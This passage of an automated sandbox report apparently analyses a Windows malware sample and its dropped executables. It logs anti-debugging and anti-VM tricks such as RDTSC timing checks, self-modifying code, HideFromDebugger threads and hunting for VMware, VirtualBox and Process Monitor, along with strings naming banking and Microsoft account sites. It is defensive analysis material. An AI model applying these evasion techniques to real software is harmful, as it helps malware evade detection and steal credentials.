Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FC09E3 second address: 4FC09E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E49 second address: 4FB0E50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 00h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E50 second address: 4FB0E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov di, ax 0x0000000c mov ecx, 69891B65h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E69 second address: 4FB0E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E6D second address: 4FB0E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E71 second address: 4FB0E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E77 second address: 4FB0E8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ax, di 0x00000013 mov bx, B354h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E8F second address: 4FB0E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0E95 second address: 4FB0E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0CFD second address: 4FB0D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0D03 second address: 4FB0D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0D07 second address: 4FB0D63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jmp 00007F7A2CC6ACF4h 0x0000000f mov edx, ecx 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 jmp 00007F7A2CC6ACECh 0x0000001a mov ebp, esp 0x0000001c jmp 00007F7A2CC6ACF0h 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F7A2CC6ACF7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0D63 second address: 4FB0D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FB0D7B second address: 4FB0D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Special instruction interceptor: First address: 62C61E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Special instruction interceptor: First address: 7EBE16 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Special instruction interceptor: First address: 62ECEE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Special instruction interceptor: First address: 8626C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45C61E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 61BE16 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45ECEE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6926C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 92CCF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: AF8A58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 92CC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: AE37F4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Special instruction interceptor: First address: CED0DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Special instruction interceptor: First address: EBCCAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Special instruction interceptor: First address: CEF9FF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Special instruction interceptor: First address: F196E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 29DCD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 29DD9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 4518E8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 44FF02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 29B486 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 475DD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 45EF32 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 4E3B08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 63EDCD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 63EDD9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 65A18E8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 659FF02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 63EB486 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 65C5DD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 65AEF32 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 6633B08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Special instruction interceptor: First address: 2A3395 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Special instruction interceptor: First address: 63F3395 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Memory allocated: 4CC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

Code function: 0_2_04FC029B rdtsc

0_2_04FC029B

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3849	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 4405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Window / User API: threadDelayed 739
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Window / User API: threadDelayed 518
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Window / User API: threadDelayed 9999

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1840	Thread sleep count: 118 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1840	Thread sleep time: -236118s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1824	Thread sleep count: 112 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1824	Thread sleep time: -224112s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1308	Thread sleep count: 108 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1308	Thread sleep time: -216108s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3340	Thread sleep count: 314 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3340	Thread sleep time: -9420000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1916	Thread sleep count: 113 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1916	Thread sleep time: -226113s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1848	Thread sleep count: 3849 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1848	Thread sleep time: -7701849s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2168	Thread sleep count: 113 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2168	Thread sleep time: -226113s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1848	Thread sleep count: 4405 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1848	Thread sleep time: -8814405s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 3776	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 4668	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 1012	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 6832	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 6784	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 7740	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 7616	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 7624	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 7732	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 7744	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe TID: 7712	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe TID: 2348	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe TID: 3800	Thread sleep count: 518 > 30
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe TID: 3800	Thread sleep count: 139 > 30
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe TID: 3916	Thread sleep count: 9999 > 30
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe TID: 3916	Thread sleep time: -99990s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe

Thread sleep count: Count: 9999 delay: -10

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior

Source: skotes.exe, skotes.exe, 00000003.00000002.1532394072.00000000005EC000.00000040.00000001.01000000.00000007.sdmp, e2af9f55fd.exe, e2af9f55fd.exe, 0000000A.00000002.2253762327.0000000000E78000.00000040.00000001.01000000.0000000A.sdmp, f20b4c0961.exe, f20b4c0961.exe, 0000000B.00000002.2765921853.0000000000AB4000.00000040.00000001.01000000.00000009.sdmp, f20b4c0961.exe, 0000000B.00000002.2784743127.0000000005D91000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: f20b4c0961.exe, 0000000B.00000003.2363682033.0000000005444000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.0000000001302000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000002.2763484000.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2456139673.00000272847A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2456139673.00000272847AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: f20b4c0961.exe, 0000000B.00000002.2763484000.0000000000713000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: f20b4c0961.exe, 0000000B.00000002.2780886405.00000000054AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: (i6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: firefox.exe, 00000019.00000002.2456139673.00000272847E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.0000000001302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}J0*
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpg0
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: firefox.exe, 00000019.00000002.2456139673.00000272847E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>v
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 2fQ8fpTWAP.exe, 00000000.00000002.1484097548.00000000007BC000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1523152108.00000000005EC000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.1532394072.00000000005EC000.00000040.00000001.01000000.00000007.sdmp, e2af9f55fd.exe, 0000000A.00000002.2253762327.0000000000E78000.00000040.00000001.01000000.0000000A.sdmp, f20b4c0961.exe, 0000000B.00000002.2765921853.0000000000AB4000.00000040.00000001.01000000.00000009.sdmp, f20b4c0961.exe, 0000000B.00000002.2784743127.0000000005D91000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: f20b4c0961.exe, 0000000B.00000002.2763484000.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp4k%SystemRoot%\system32\mswsock.dll+
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: f20b4c0961.exe, 0000000B.00000003.2365560124.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	System information queried: CodeIntegrityInformation
Source: C:\Windows\SysWOW64\taskkill.exe	System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: procmon_window_class
